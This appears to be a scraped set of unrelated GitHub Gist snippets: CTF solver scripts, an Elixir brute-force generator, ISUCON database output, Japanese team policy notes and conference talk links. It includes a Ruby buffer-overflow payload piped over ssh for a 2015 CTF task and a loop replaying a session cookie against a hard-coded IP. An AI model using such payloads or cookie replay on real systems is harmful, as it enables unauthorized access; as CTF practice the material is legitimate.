oppai

defmodule Bruteforce do
  def default_char_list do String.codepoints("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+=:?!@#$%^&*()") end
  def increment(%{digits: digits, chars: chars}) do
    case digits do
      [current|tail] ->
        if current+1 >= length(chars) do
          %{digits: new_digis, chars: _} = Bruteforce.increment(%{digits: tail, chars: chars})
          %{digits: [0] ++ new_digis, chars: chars}
        else
          %{digits: [current+1] ++ tail, chars: chars}

oppai

#usage: ruby dctf2015_e100.rb | ssh xxx@xx.xx.xx.xx
str = 'A' * 0x34 + [0x8048650].pack("I*")
puts str

oppai

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):

oppai

require 'net/http'
require 'uri'

http   = Net::HTTP.new('54.209.88.227', 80)
# oppai2-1000
cookie = "session=eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCK7w.njxoA3POhr3wd4hIpYWpclygzUs; HttpOnly; Path=/"
# cleared: eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCLJw.s4HgvN6NHWsW1S6ORGnr9G5JGA8
suffix = 1

loop do

oppai

oppai

oppai

// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console

oppai

def char_num(n)
  return 0 if n == 'P'
  return 1 if n == 'L'
  return 2 if n == 'U'
  return 3 if n == 'S'
end
alfa = "あいうえおかきくけこさしすせそたちつてとなにぬねのはひふへほまみむめもやゆよらりるれろわをんがぎぐげござじずぜぞばびぶべぼぱぴぷぺぽ".split('')
text = "PLSUPUUSPSPLPPPLPPPLPLLUPLUUPLULPPLLPSPLPLSUPPPLPUPSPLPUPSUUPLPSPSUSPLUUPSSPPUPLPPPUPUSSPPSPPPUSPLULPULUPULLPSUPPSSSPPPUPPPLPLPUPUPPPUPUPUSPPUUSPSPSLPPPPSSSPLPLPLUPPLSPPLUSPULSPSLLPPPUPPSSPLUUPUPUPUUPPUSSPPPLLPPPPSSSPUPPPULLPULPPSPPPSSUPSSSPPLUPLPLPLLLPLLPPUPSPUUUPSUPPPLPPPUPPPLLPPLPPLLSPLLSPULUPULLPULLPULPPSLUPPUPPPUPPLULPLUPPLSLPULLPSLUPPLSPLUUPLUP"

slice_text = text.scan(/.{1,4}/)

oppai

mysql> show tables;
+------------------+
| Tables_in_isucon |
+------------------+
| memos            |
| users            |
+------------------+
2 rows in set (0.00 sec)

mysql> desc memos;

oppai

プルリクエストポリシー

• webappは基本的にプルリクエストを通す(conf系は口頭でもおｋ)
• スコア変動の推移を書く
  • ex) 2400 -> 3000
• 何を目的としているかを書く
  • Covering Index / Data Cache / アルゴリズム改善
• DBのスキーマを変更する場合db/changes.sqlに変更を加える
  • masterにマージされた場合、変更した人が責任をもって本番環境のDBスキーマを変更すること

アロケーションポリシー

oppai

突然ITインフラを任された人のための…監視設計入門

• http://www.koemu.com/etc/yapcasia2014/#/

GoogleBigQueryの話

• https://speakerdeck.com/naoya/google-bigquery-falsehua-number-yapcasia

ほんとうにあったスキーマ

• http://kfly8.github.io/yapc/20140830_social_game.html#/